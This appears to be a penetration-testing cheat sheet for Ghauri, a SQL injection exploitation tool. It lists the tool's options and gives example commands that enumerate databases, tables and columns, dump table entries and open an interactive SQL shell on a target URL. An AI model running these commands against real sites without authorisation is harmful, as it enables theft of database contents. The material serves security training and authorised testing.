



Certified Penetration Testing Professional

Ghauri Cheat Sheet

Ghauri

Source: <https://github.com>

Ghauri is a sophisticated SQL injection (SQLi) exploitation tool designed for automating the detection and exploitation of SQL injection vulnerabilities in web applications. Ghauri offers several powerful features that streamline the process of finding and exploiting SQL injection flaws to gain unauthorized access to databases and sensitive information.

Syntax
<code>ghauri -u URL [OPTIONS]</code>

General Options	
<code>-h, --help</code>	Shows the help.
<code>--version</code>	Shows the version.
<code>--update</code>	Update Ghauri.
<code>-v VERBOSE</code>	Verbosity level: 1-5 (default 1).
<code>--batch</code>	Never ask for user input, use the default behavior.
<code>--flush-session</code>	Flush session files for current target.
<code>--fresh-queries</code>	Ignore query results stored in session file.
<code>--test-filter</code>	Select test payloads by titles (experimental).
Target Options	
<code>-u URL, --url URL</code>	Target URL (e.g., 'http://www.example.com/vuln.php?id=1').
<code>-r REQUESTFILE</code>	Load HTTP request from a file.

Request Options	
-A, --user-agent	HTTP User-Agent header value.
-H, --header	Extra header (e.g., "X-Forwarded-For: 127.0.0.1").
--host	HTTP Host header value.
--data	Data string to be sent through POST (e.g., "id=1").
--cookie	HTTP Cookie header value (e.g., "PHPSESSID=a8d127e..").
--referer	HTTP Referrer header value.
--headers	Extra headers (e.g., "Accept-Language: fr\nETag: 123").
--proxy	Use a proxy to connect to the target URL.
--delay	Delay in seconds between each HTTP request.
--timeout	Seconds to wait before timeout connection (default 30).
--retries	Retries when the connection-related error occurs (default 3).
--confirm	Confirm the injected payloads.
--ignore-code	Ignore (problematic) HTTP error code(s) (e.g., 401).
--skip-urlencode	Skip URL encoding of payload data.
--force-ssl	Force usage of SSL/HTTPS.
Options for Optimization	
--threads THREADS	Max number of concurrent HTTP(s) requests (default 1).
Options for Injection	
-p TESTPARAMETER	Testable parameter(s).
--dbms DBMS	Force back-end DBMS to provided value.
--prefix	Injection payload prefix string.
--suffix	Injection payload suffix string.
--safe-chars	Skip URL encoding of specific character(s) (e.g., --safe-chars="[]").
--fetch-using	Fetch data using different operator(s) (e.g., --fetch-using=between/in).
Options for Detection	
--level LEVEL	Level of tests to perform (1-3, default 1).
--code CODE	HTTP code to match when query is evaluated to True.
--string	String to match when query is evaluated to True.

--not-string	String to match when query is evaluated to False.
--text-only	Compare pages based only on the textual content.
Options for Enumeration	
-b, --banner	Retrieve DBMS banner.
--current-user	Retrieve DBMS current user.
--current-db	Retrieve DBMS current database.
--hostname	Retrieve DBMS server hostname.
--dbs	Enumerate DBMS databases.
--tables	Enumerate DBMS database tables.
--columns	Enumerate DBMS database table columns.
--count	Retrieve number of entries for table(s).
--dump	Dump DBMS database table entries.
-D DB	DBMS database to enumerate.
-T TBL	DBMS database table(s) to enumerate.
-C COLS	DBMS database table column(s) to enumerate.
--start	Retrieve entries from offset for dbs/tables/columns/dump.
--stop	Retrieve entries till offset for dbs/tables/columns/dump.
--sql-shell	Prompt for an interactive SQL shell (experimental).

Example Commands

Command	Description
ghauri -u http://example.com -b	Retrieve the DBMS banner to identify the database type and version.
ghauri -u http://example.com --current-user	Retrieve the current user of the DBMS to understand the privileges available.
ghauri -u http://example.com --current-db	Retrieve the current database being used by the application.
ghauri -u http://example.com --hostname	Retrieve the hostname of the DBMS server.
ghauri -u http://example.com --dbs	Enumerate all databases managed by the DBMS.

<code>ghauri -u http://example.com --tables -D target_db</code>	Enumerate all tables in the specified database (target_db).
<code>ghauri -u http://example.com --columns -D target_db -T target_table</code>	Enumerate all columns in the specified table (target_table) of the specified database (target_db).
<code>ghauri -u http://example.com --count -D target_db -T target_table</code>	Retrieve the number of entries in the specified table (target_table) of the specified database (target_db).
<code>ghauri -u http://example.com --dump -D target_db -T target_table</code>	Dump all entries from the specified table (target_table) of the specified database (target_db).
<code>ghauri -u http://example.com --start 10 --stop 20 --dump -D target_db -T target_table</code>	Dump entries from offset 10 to 20 in the specified table (target_table) of the specified database (target_db).
<code>ghauri -u http://example.com --sql-shell</code>	Prompt for an interactive SQL shell to execute arbitrary SQL commands.